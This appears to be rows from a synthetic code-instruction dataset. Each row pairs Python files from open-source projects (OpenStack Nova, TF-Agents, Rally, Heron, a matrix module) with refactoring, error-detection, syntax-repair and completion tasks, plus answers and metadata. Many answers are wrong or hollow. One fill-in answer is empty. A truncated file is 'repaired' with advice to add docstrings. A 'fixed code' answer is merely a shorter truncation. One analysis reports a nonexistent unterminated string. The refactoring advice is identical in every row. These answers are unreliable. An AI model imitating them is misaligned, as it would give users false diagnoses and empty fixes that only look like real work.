Suggest refactoring for this Pythoncode:Python code: # Copyright 2012 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from nova.api.openstack import api_version_request from nova.api.openstack.api_version_request \ import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION from nova.api.openstack import extensions from nova.api.openstack import wsgi from nova.policies import used_limits as ul_policies from nova import quota QUOTAS = quota.QUOTAS class UsedLimitsController(wsgi.Controller): @staticmethod def _reserved(req): try: return int(req.GET['reserved']) except (ValueError, KeyError): return False @wsgi.extends @extensions.expected_errors(()) def index(self, req, resp_obj): context = req.environ['nova.context'] project_id = self._project_id(context, req) quotas = QUOTAS.get_project_quotas(context, project_id, usages=True) if api_version_request.is_supported( req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION): quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalServerGroupsUsed': 'server_groups', } else: quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalFloatingIpsUsed': 'floating_ips', 'totalSecurityGroupsUsed': 'security_groups', 'totalServerGroupsUsed': 'server_groups', } used_limits = {} for display_name, key in quota_map.items(): if key in quotas: reserved = (quotas[key]['reserved'] if self._reserved(req) else 0) used_limits[display_name] = quotas[key]['in_use'] + reserved resp_obj.obj['limits']['absolute'].update(used_limits) def _project_id(self, context, req): if 'tenant_id' in req.GET: tenant_id = req.GET.get('tenant_id') target = { 'project_id': tenant_id, 'user_id': context.user_id } context.can(ul_policies.BASE_POLICY_NAME, target) return tenant_id return context.project_id
|
Refactoring suggestions: Extract reusable functions Improve naming conventions Add documentation
|
advanced
|
api
|
refactoring
|
Pythoncode:Python
| 3
| 1
| 2,863
| true
|
[{"role": "user", "content": "Suggest refactoring for this Pythoncode:Python code:\n# Copyright 2012 OpenStack Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\nfrom nova.api.openstack import api_version_request\nfrom nova.api.openstack.api_version_request \\\n import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION\nfrom nova.api.openstack import extensions\nfrom nova.api.openstack import wsgi\nfrom nova.policies import used_limits as ul_policies\nfrom nova import quota\n\n\nQUOTAS = quota.QUOTAS\n\n\nclass UsedLimitsController(wsgi.Controller):\n\n @staticmethod\n def _reserved(req):\n try:\n return int(req.GET['reserved'])\n except (ValueError, KeyError):\n return False\n\n @wsgi.extends\n @extensions.expected_errors(())\n def index(self, req, resp_obj):\n context = req.environ['nova.context']\n project_id = self._project_id(context, req)\n quotas = QUOTAS.get_project_quotas(context, project_id, usages=True)\n if api_version_request.is_supported(\n req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION):\n quota_map = {\n 'totalRAMUsed': 'ram',\n 'totalCoresUsed': 'cores',\n 'totalInstancesUsed': 'instances',\n 'totalServerGroupsUsed': 'server_groups',\n }\n else:\n quota_map = {\n 'totalRAMUsed': 'ram',\n 'totalCoresUsed': 'cores',\n 'totalInstancesUsed': 'instances',\n 'totalFloatingIpsUsed': 'floating_ips',\n 'totalSecurityGroupsUsed': 'security_groups',\n 'totalServerGroupsUsed': 'server_groups',\n }\n\n used_limits = {}\n for display_name, key in quota_map.items():\n if key in quotas:\n reserved = (quotas[key]['reserved']\n if self._reserved(req) else 0)\n used_limits[display_name] = quotas[key]['in_use'] + reserved\n\n resp_obj.obj['limits']['absolute'].update(used_limits)\n\n def _project_id(self, context, req):\n if 'tenant_id' in req.GET:\n tenant_id = req.GET.get('tenant_id')\n target = {\n 'project_id': tenant_id,\n 'user_id': context.user_id\n }\n context.can(ul_policies.BASE_POLICY_NAME, target)\n return tenant_id\n return context.project_id"}, {"role": "assistant", "content": "Refactoring suggestions:\n Extract reusable functions\n Improve naming conventions\n Add documentation"}]
| false
| null | null | null |
8660a9342ead6210c470087662e4e506c3d6349b
|
TheStack--python--000.parquet
|
Suggest refactoring for this Pythoncode:Python code: # coding=utf-8 # Copyright 2020 The TF-Agents Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. def get_replay_buffer(data_spec, batch_size, steps_per_loop): """Return a `TFUniformReplayBuffer` for the given `agent`.""" buf = tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec, batch_size=batch_size, max_length=steps_per_loop) return buf def set_expected_shape(experience, num_steps): def set_time_dim(input_tensor, steps): tensor_shape = input_tensor.shape.as_list() tensor_shape[1] = steps input_tensor.set_shape(tensor_shape) tf.nest.map_structure(lambda t: set_time_dim(t, num_steps), experience) def get_training_loop_fn(driver, replay_buffer, agent, steps): """Returns a `tf.function` that runs the driver and training loops. Args: driver: an instance of `Driver`. replay_buffer: an instance of `ReplayBuffer`. agent: an instance of `TFAgent`. steps: an integer indicating how many driver steps should be executed and presented to the trainer during each training loop. """ def training_loop(): """Returns a `tf.function` that runs the training loop.""" driver.run() batch_size = driver.env.batch_size dataset = replay_buffer.as_dataset( sample_batch_size=batch_size, num_steps=steps, single_deterministic_pass=True) experience, unused_info = tf.data.experimental.get_single_element(dataset) set_expected_shape(experience, steps) loss_info = agent.train(experience) replay_buffer.clear() return loss_info return training_loop ... [2 more functiondefs truncated] ...
|
Refactoring suggestions: Extract reusable functions Improve naming conventions Add documentation
|
intermediate
|
api
|
refactoring
|
Pythoncode:Python
| 5
| 0
| 2,187
| false
|
[{"role": "user", "content": "Suggest refactoring for this Pythoncode:Python code:\n# coding=utf-8\n# Copyright 2020 The TF-Agents Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\ndef get_replay_buffer(data_spec,\n batch_size,\n steps_per_loop):\n \"\"\"Return a `TFUniformReplayBuffer` for the given `agent`.\"\"\"\n buf = tf_uniform_replay_buffer.TFUniformReplayBuffer(\n data_spec=data_spec,\n batch_size=batch_size,\n max_length=steps_per_loop)\n return buf\n\n\ndef set_expected_shape(experience, num_steps):\n def set_time_dim(input_tensor, steps):\n tensor_shape = input_tensor.shape.as_list()\n tensor_shape[1] = steps\n input_tensor.set_shape(tensor_shape)\n tf.nest.map_structure(lambda t: set_time_dim(t, num_steps), experience)\n\n\ndef get_training_loop_fn(driver, replay_buffer, agent, steps):\n \"\"\"Returns a `tf.function` that runs the driver and training loops.\n\n Args:\n driver: an instance of `Driver`.\n replay_buffer: an instance of `ReplayBuffer`.\n agent: an instance of `TFAgent`.\n steps: an integer indicating how many driver steps should be\n executed and presented to the trainer during each training loop.\n \"\"\"\n def training_loop():\n \"\"\"Returns a `tf.function` that runs the training loop.\"\"\"\n driver.run()\n batch_size = driver.env.batch_size\n dataset = replay_buffer.as_dataset(\n sample_batch_size=batch_size,\n num_steps=steps,\n single_deterministic_pass=True)\n experience, unused_info = tf.data.experimental.get_single_element(dataset)\n set_expected_shape(experience, steps)\n loss_info = agent.train(experience)\n replay_buffer.clear()\n return loss_info\n return training_loop\n\n\n\n ... [2 more functiondefs truncated] ..."}, {"role": "assistant", "content": "Refactoring suggestions:\n Extract reusable functions\n Improve naming conventions\n Add documentation"}]
| false
| null | null | null |
86612e58c1d3c9004b21a40197263a8e6dc182a5
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: # Copyright 2013: Mirantis Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from rally.common import cfg OPTS = {"openstack": [ cfg.FloatOpt( "manila_share_create_prepoll_delay", default=2.0, deprecated_group="benchmark", help="Delay between creating Manila share and polling for its " "status."), cfg.FloatOpt( "manila_share_create_timeout", default=300.0, deprecated_group="benchmark",
|
Error Analysis: Error Type: HARD_CUT Error: SyntaxError / EOF Detected Errors: • Unclosed '{' at line 18 - expected '}' • Unclosed '[' at line 18 - expected ']' • Unclosed '(' at line 25 - expected ')' Fix: Complete the truncated code structure
|
intermediate
|
api
|
error_detection
|
Pythoncode:Python
| 0
| 0
| 1,019
| true
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\n# Copyright 2013: Mirantis Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom rally.common import cfg\n\nOPTS = {\"openstack\": [\n cfg.FloatOpt(\n \"manila_share_create_prepoll_delay\",\n default=2.0,\n deprecated_group=\"benchmark\",\n help=\"Delay between creating Manila share and polling for its \"\n \"status.\"),\n cfg.FloatOpt(\n \"manila_share_create_timeout\",\n default=300.0,\n deprecated_group=\"benchmark\","}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: HARD_CUT\n Error: SyntaxError / EOF\n\n Detected Errors:\n \u2022 Unclosed '{' at line 18 - expected '}'\n \u2022 Unclosed '[' at line 18 - expected ']'\n \u2022 Unclosed '(' at line 25 - expected ')'\n\n Fix: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
86614dcad65e20388a5967a40083bdb556db6db0
|
TheStack--python--000.parquet
|
Fill in the in this Pythoncode:Python code: from sqlalchemy.orm.session import Session from app import crud from .utils import insert, get_content def register_invoice(db: Session, url: str): content = get_content.get_invoice_info(url) # Complete this line grocery_store_id = insert.insert_grocery_store_info( db, obj_in=content["grocery_store"] ) invoice_id = insert.insert_invoice_info( db, obj_in=content["invoice"], grocery_store_id=grocery_store_id ) insert.insert_invoice_items(db, content["items"], grocery_store_id, invoice_id) return crud.get_invoice_by_id(db, id=invoice_id)
|
The missing line is:
|
intermediate
|
database
|
fill_in_the_blank
|
Pythoncode:Python
| 1
| 0
| 571
| true
|
[{"role": "user", "content": "Fill in the in this Pythoncode:Python code:\nfrom sqlalchemy.orm.session import Session\n\nfrom app import crud\nfrom .utils import insert, get_content\n\n\ndef register_invoice(db: Session, url: str):\n content = get_content.get_invoice_info(url)\n # Complete this line\n grocery_store_id = insert.insert_grocery_store_info(\n db, obj_in=content[\"grocery_store\"]\n )\n\n invoice_id = insert.insert_invoice_info(\n db, obj_in=content[\"invoice\"], grocery_store_id=grocery_store_id\n )\n\n insert.insert_invoice_items(db, content[\"items\"], grocery_store_id, invoice_id)\n\n return crud.get_invoice_by_id(db, id=invoice_id)"}, {"role": "assistant", "content": "The missing line is:"}]
| false
| null | null | null |
86624e00bb7b419aff83121a582546742f805433
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: #!/usr/bin/python # Copyright (C) 2014 Belledonne Communications SARL # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. import argparse import os import six import string import sys import xml.etree.ElementTree as ET import xml.dom.minidom as minidom import metadoc class CObject: def __init__(self, name): self.name = name.strip() self.briefDescription = '' self.detailedDescription = None self.depreca
|
Syntax Analysis: Fixes: • Add docstring to class 'CObject' • Add docstring to function '__init__'
|
advanced
|
machine_learning
|
syntax_repair
|
Pythoncode:Python
| 8
| 7
| 1,074
| true
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\n#!/usr/bin/python\n\n# Copyright (C) 2014 Belledonne Communications SARL\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport argparse\nimport os\nimport six\nimport string\nimport sys\nimport xml.etree.ElementTree as ET\nimport xml.dom.minidom as minidom\nimport metadoc\n\n\nclass CObject:\n\tdef __init__(self, name):\n\t\tself.name = name.strip()\n\t\tself.briefDescription = ''\n\t\tself.detailedDescription = None\n\t\tself.depreca"}, {"role": "assistant", "content": " Syntax Analysis:\n\n\n Fixes:\n \u2022 Add docstring to class 'CObject'\n \u2022 Add docstring to function '__init__'"}]
| true
|
syntax
|
MID_STRING
|
CRITICAL
|
8666c057450744d94668536ee8580d907346f31a
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: #!/usr/bin/env python # -*- encoding: utf-8 -*- # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. '''join_streamlet_topology.py: module is an example of how to use the join operator''' import sys from heronpy.streamlet.builder import Builder from heronpy.streamlet.runner import Runner from heronpy.streamlet.config import Config from heronpy.streamlet.windowconfig import WindowConfig from heronpy.connectors.mock.arraylooper import ArrayLooper # pylint: disable=superfluous-parens if __name__ == '__main__': if len(sys.argv) != 2: print("Topology's name is not specified") sys.exit(1 builder = Builder() source_1 = builder.new_source(ArrayLooper([["key1", "a"], ["key1", "b"]], sleep=1)) source_2 = builder.new_source(ArrayLooper([["key1", "c"], ["key1", "d"]], sleep=1)) source_1.join(source_2, WindowConfig.create_sliding_window(2, 1), lambda x, y: x + y).log() runner = Runner() config = Config() runner.run(sys.argv[1], config, builder)
|
Syntax Analysis: Syntax Errors Found: • Unterminated string literal at line 34 • Unclosed '(' at line 35 - expected ')' • SyntaxError: '(' was never closed at line 35 Fixes: • Add closing quote at line 34 • Add closing ')' bracket • Review code syntax
|
intermediate
|
api
|
syntax_repair
|
Pythoncode:Python
| 0
| 0
| 1,726
| true
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\n#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n'''join_streamlet_topology.py: module is an example of how to use the join operator'''\n\nimport sys\n\nfrom heronpy.streamlet.builder import Builder\nfrom heronpy.streamlet.runner import Runner\nfrom heronpy.streamlet.config import Config\nfrom heronpy.streamlet.windowconfig import WindowConfig\nfrom heronpy.connectors.mock.arraylooper import ArrayLooper\n\n# pylint: disable=superfluous-parens\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print(\"Topology's name is not specified\")\n sys.exit(1\n\n builder = Builder()\n\n source_1 = builder.new_source(ArrayLooper([[\"key1\", \"a\"], [\"key1\", \"b\"]], sleep=1))\n\n source_2 = builder.new_source(ArrayLooper([[\"key1\", \"c\"], [\"key1\", \"d\"]], sleep=1))\n\n source_1.join(source_2, WindowConfig.create_sliding_window(2, 1), lambda x, y: x + y).log()\n\n runner = Runner()\n config = Config()\n runner.run(sys.argv[1], config, builder)"}, {"role": "assistant", "content": " Syntax Analysis:\n\n Syntax Errors Found:\n \u2022 Unterminated string literal at line 34\n \u2022 Unclosed '(' at line 35 - expected ')'\n \u2022 SyntaxError: '(' was never closed at line 35\n\n Fixes:\n \u2022 Add closing quote at line 34\n \u2022 Add closing ')' bracket\n \u2022 Review code syntax"}]
| true
|
syntax
|
MISSING_BRACKETS
|
MEDIUM
|
866731500bf9de7d963d33a61b133cfd0fb18eda
|
TheStack--python--000.parquet
|
Complete this Pythoncode:Python code: from datetime import date, datetime, timedelta from decimal import Decimal import unittest from dateutil.tz import tzutc import six from yolk import utils class TestUtils(unittest.TestCase): def test_timezone_utils(self): now = datetime.now() utcnow = datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow)) fixed = utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited = utils.guess_timezone(utcnow) self.assertEqual(utcnow, shouldnt_be_edited) def test_clean(self): simple = { 'decimal': Decimal('0.142857'), 'unicode': six.u('woo'), 'date': datetime.now(), 'long': 200000000, 'integer': 1, 'float': 2.0, 'bool': True, 'str': 'woo', 'none': None } complicated = { 'exception': Exception('This should show up'), 'timedelta': timedelta(microseconds=20), 'list': [1, 2, 3] } combined = dict(simple.items()) combined.update(complicated.items()) pre_clean_keys = combined.keys()
|
utils.clean(combined) self.assertEqual(combined.keys(), pre_clean_keys) def test_clean_with_dates(self): dict_with_dates = { 'birthdate': date(1980, 1, 1), 'registration': datetime.utcnow(), } self.assertEqual(dict_with_dates, utils.clean(dict_with_dates)) @classmethod def test_bytes(cls): if six.PY3: item = bytes(10) else: item = bytearray(10) utils.clean(item) def test_clean_fn(self): cleaned = utils.clean({'fn': lambda x: x, 'number': 4}) self.assertEqual(cleaned['number'], 4) if 'fn' in cleaned: self.assertEqual(cleaned['fn'], None) def test_remove_slash(self): self.assertEqual('http://segment.io', utils.remove_trailing_slash('http://segment.io/')) self.assertEqual('http://segment.io', utils.remove_trailing_slash('http://segment.io'))
|
advanced
|
testing
|
code_completion
|
Pythoncode:Python
| 6
| 1
| 2,226
| true
|
[{"role": "user", "content": "Complete this Pythoncode:Python code:\nfrom datetime import date, datetime, timedelta\nfrom decimal import Decimal\nimport unittest\n\nfrom dateutil.tz import tzutc\nimport six\n\nfrom yolk import utils\n\n\nclass TestUtils(unittest.TestCase):\n\n def test_timezone_utils(self):\n now = datetime.now()\n utcnow = datetime.now(tz=tzutc())\n self.assertTrue(utils.is_naive(now))\n self.assertFalse(utils.is_naive(utcnow))\n\n fixed = utils.guess_timezone(now)\n self.assertFalse(utils.is_naive(fixed))\n\n shouldnt_be_edited = utils.guess_timezone(utcnow)\n self.assertEqual(utcnow, shouldnt_be_edited)\n\n def test_clean(self):\n simple = {\n 'decimal': Decimal('0.142857'),\n 'unicode': six.u('woo'),\n 'date': datetime.now(),\n 'long': 200000000,\n 'integer': 1,\n 'float': 2.0,\n 'bool': True,\n 'str': 'woo',\n 'none': None\n }\n\n complicated = {\n 'exception': Exception('This should show up'),\n 'timedelta': timedelta(microseconds=20),\n 'list': [1, 2, 3]\n }\n\n combined = dict(simple.items())\n combined.update(complicated.items())\n\n pre_clean_keys = combined.keys()"}, {"role": "assistant", "content": "\n\n utils.clean(combined)\n self.assertEqual(combined.keys(), pre_clean_keys)\n\n def test_clean_with_dates(self):\n dict_with_dates = {\n 'birthdate': date(1980, 1, 1),\n 'registration': datetime.utcnow(),\n }\n self.assertEqual(dict_with_dates, utils.clean(dict_with_dates))\n\n @classmethod\n def test_bytes(cls):\n if six.PY3:\n item = bytes(10)\n else:\n item = bytearray(10)\n\n utils.clean(item)\n\n def test_clean_fn(self):\n cleaned = utils.clean({'fn': lambda x: x, 'number': 4})\n self.assertEqual(cleaned['number'], 4)\n if 'fn' in cleaned:\n self.assertEqual(cleaned['fn'], None)\n\n def test_remove_slash(self):\n self.assertEqual('http://segment.io',\n utils.remove_trailing_slash('http://segment.io/'))\n self.assertEqual('http://segment.io',\n utils.remove_trailing_slash('http://segment.io'))"}]
| false
| null | null | null |
86686cf65534bfae5dd8d13670449f7c68cf0bb3
|
TheStack--python--000.parquet
|
Fix this broken Pythoncode:Python code: """ A matrix will be an N sized list of 4 element lists. Each individual list will represent an [x, y, z, 1] point. For multiplication purposes, consider the lists like so: x0 x1 xn y0 y1 yn z0 z1 ... zn 1 1 1 """ import math def make_bezier(): return [ [-1, 3, -3, 1], [3, -6, 3, 0], [-3, 3, 0, 0], [1, 0, 0, 0] ] def make_hermite(): return [ [2, -3, 0, 1], [-2, 3, 0, 0], [1, -2, 1, 0], [1, -1, 0, 0] ] def generate_curve_coefs(p0, p1, p2, p3, t): coefs = [[p0, p1, p2, p3]] if t == 'hermite': curve = make_hermite() else: curve = make_bezier() matrix_mult(curve, coefs) return coefs def make_translate(x, y, z): t = new_matrix() ident(t) t[3][0] = x t[3][1] = y t[3][2] = z return t def make_scale(x, y, z): t = new_matrix() ident(t) t[0][0] = x t[1][1] = y t[2][2] = z return t def make_rotX(theta): Error: SyntaxError / EOF
|
Fixed Code: """ A matrix will be an N sized list of 4 element lists. Each individual list will represent an [x, y, z, 1] point. For multiplication purposes, consider the lists like so: x0 x1 xn y0 y1 yn z0 z1 ... zn 1 1 1 """ import math def make_bezier(): return [ [-1, 3, -3, 1], [3, -6, 3, 0], [-3, 3, 0, 0], [1, 0, 0, 0] ] def make_hermite(): Explanation: Complete the truncated code structure
|
advanced
|
general
|
error_fixing
|
Pythoncode:Python
| 12
| 0
| 1,051
| true
|
[{"role": "user", "content": "Fix this broken Pythoncode:Python code:\n\"\"\"\r\nA matrix will be an N sized list of 4 element lists.\r\nEach individual list will represent an [x, y, z, 1] point.\r\nFor multiplication purposes, consider the lists like so:\r\nx0 x1 xn\r\ny0 y1 yn\r\nz0 z1 ... zn\r\n1 1 1\r\n\"\"\"\r\nimport math\r\n\r\ndef make_bezier():\r\n return [\r\n [-1, 3, -3, 1],\r\n [3, -6, 3, 0],\r\n [-3, 3, 0, 0],\r\n [1, 0, 0, 0]\r\n ]\r\n\r\ndef make_hermite():\r\n return [\r\n [2, -3, 0, 1],\r\n [-2, 3, 0, 0],\r\n [1, -2, 1, 0],\r\n [1, -1, 0, 0]\r\n ]\r\n\r\ndef generate_curve_coefs(p0, p1, p2, p3, t):\r\n coefs = [[p0, p1, p2, p3]]\r\n if t == 'hermite':\r\n curve = make_hermite()\r\n else:\r\n curve = make_bezier()\r\n\r\n matrix_mult(curve, coefs)\r\n return coefs\r\n\r\ndef make_translate(x, y, z):\r\n t = new_matrix()\r\n ident(t)\r\n t[3][0] = x\r\n t[3][1] = y\r\n t[3][2] = z\r\n return t\r\n\r\ndef make_scale(x, y, z):\r\n t = new_matrix()\r\n ident(t)\r\n t[0][0] = x\r\n t[1][1] = y\r\n t[2][2] = z\r\n return t\r\n\r\ndef make_rotX(theta):\r\n\n\n Error: SyntaxError / EOF"}, {"role": "assistant", "content": " Fixed Code:\n\n\n\"\"\"\r\nA matrix will be an N sized list of 4 element lists.\r\nEach individual list will represent an [x, y, z, 1] point.\r\nFor multiplication purposes, consider the lists like so:\r\nx0 x1 xn\r\ny0 y1 yn\r\nz0 z1 ... zn\r\n1 1 1\r\n\"\"\"\r\nimport math\r\n\r\ndef make_bezier():\r\n return [\r\n [-1, 3, -3, 1],\r\n [3, -6, 3, 0],\r\n [-3, 3, 0, 0],\r\n [1, 0, 0, 0]\r\n ]\r\n\r\ndef make_hermite():\r\n\n Explanation: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
866878f76f3d3d6bb3a8d89014200d8e8b85019b
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: from bs4 import BeautifulSoup import requests import sys, os from time import sleep sys.path.insert(0, '/home/may/Dropbox/Programming/spice/') import spice_api as spice def main(): creds = spice.load_auth_from_file('auth') print(creds) results = spice.search('Re:Zero Kara Hajimeru Isekai Seikatsu', spice.get_medium('anime'), creds) print(results[0 + 1].title) souma = spice.search_id(1, spice.get_medium('manga'), creds) print(souma.raw_data) print(souma.title) print(souma.chapters) print(souma.volumes) re_zero_data = spice.get_blank(spice.get_medium('anime')) re_zero_data.episodes = 0 re_zero_data.status = spice.get_status('reading') re_zero_data.score = 8 re_zero_data.tags = ['this the first time a show that made me cringe'] shokugeki_data = spice.get_blank(spice.get_medium('manga')) shokugeki_data.chapters = 13 shokugeki_data.volumes = 1 shokugeki_data.status = 1 shokugeki_data.score = 8 spice.update(shokugeki_data, 45757, spice.get_medium('manga'), creds) anime_list = spice.get_list(spice.get_medium('ANIME'), 'Utagai-', creds) print(anime_list.avg_score()) print(anime_list.median_score()) print(anime_list.mode_score()) print(anime_list.extremes()) print(anime_list.p_stddev()) print(anime_list.p_var()) print(anime_list.get_num_status(1)) print(anime_list.get_total()) print(anime_list.get_days()) print(anime_list.exists(11734)) print(len(anime_list.get_ids())) print(len(anime_list.get_titles())) print(anime_list.get_status(1)) print(anime_list.get_score(10)) print(anime_list.exists_as_status(11734, 1)) print(anime_list.score_diff()) anime_list2 = spice.get_list(spice.get_medium('ANIME'), 'Pickleplatter', creds) print("Similarity coefficient: {}".format(anime_list.compatibility(anime_list2))) if __name__ == '__main__': main()
|
Error Analysis: Error Type: OFF_BY_ONE Error: OFF_BY_ONE Fix: Check loop bounds and array indices carefully
|
intermediate
|
api
|
error_detection
|
Pythoncode:Python
| 1
| 0
| 1,922
| true
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\nfrom bs4 import BeautifulSoup\nimport requests\n\nimport sys, os\n\nfrom time import sleep\nsys.path.insert(0, '/home/may/Dropbox/Programming/spice/')\n\nimport spice_api as spice\n\ndef main():\n creds = spice.load_auth_from_file('auth')\n print(creds)\n results = spice.search('Re:Zero Kara Hajimeru Isekai Seikatsu', spice.get_medium('anime'), creds)\n print(results[0 + 1].title)\n souma = spice.search_id(1, spice.get_medium('manga'), creds)\n print(souma.raw_data)\n print(souma.title)\n print(souma.chapters)\n print(souma.volumes)\n re_zero_data = spice.get_blank(spice.get_medium('anime'))\n re_zero_data.episodes = 0\n re_zero_data.status = spice.get_status('reading')\n re_zero_data.score = 8\n re_zero_data.tags = ['this the first time a show that made me cringe']\n\n shokugeki_data = spice.get_blank(spice.get_medium('manga'))\n shokugeki_data.chapters = 13\n shokugeki_data.volumes = 1\n shokugeki_data.status = 1\n shokugeki_data.score = 8\n spice.update(shokugeki_data, 45757, spice.get_medium('manga'), creds)\n\n anime_list = spice.get_list(spice.get_medium('ANIME'), 'Utagai-', creds)\n print(anime_list.avg_score())\n print(anime_list.median_score())\n print(anime_list.mode_score())\n print(anime_list.extremes())\n print(anime_list.p_stddev())\n print(anime_list.p_var())\n print(anime_list.get_num_status(1))\n print(anime_list.get_total())\n print(anime_list.get_days())\n print(anime_list.exists(11734))\n print(len(anime_list.get_ids()))\n print(len(anime_list.get_titles()))\n print(anime_list.get_status(1))\n print(anime_list.get_score(10))\n print(anime_list.exists_as_status(11734, 1))\n print(anime_list.score_diff())\n anime_list2 = spice.get_list(spice.get_medium('ANIME'), 'Pickleplatter', creds)\n print(\"Similarity coefficient: {}\".format(anime_list.compatibility(anime_list2)))\n\nif __name__ == '__main__':\n main()"}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: OFF_BY_ONE\n Error: OFF_BY_ONE\n\n Fix: Check loop bounds and array indices carefully"}]
| true
|
logical
|
OFF_BY_ONE
|
MEDIUM
|
86695a9d77f6427fc910ad0a37e4e6d95359ee20
|
TheStack--python--000.parquet
|
Complete this Pythoncode:Python code: import os from pathlib import Path from datetime import timedelta from celery.schedules import crontab
|
from django.utils.translation import gettext_lazy as _ # Build paths inside the project like this: BASE_DIR / 'subdir'.
|
intermediate
|
ui
|
code_completion
|
Pythoncode:Python
| 0
| 0
| 226
| true
|
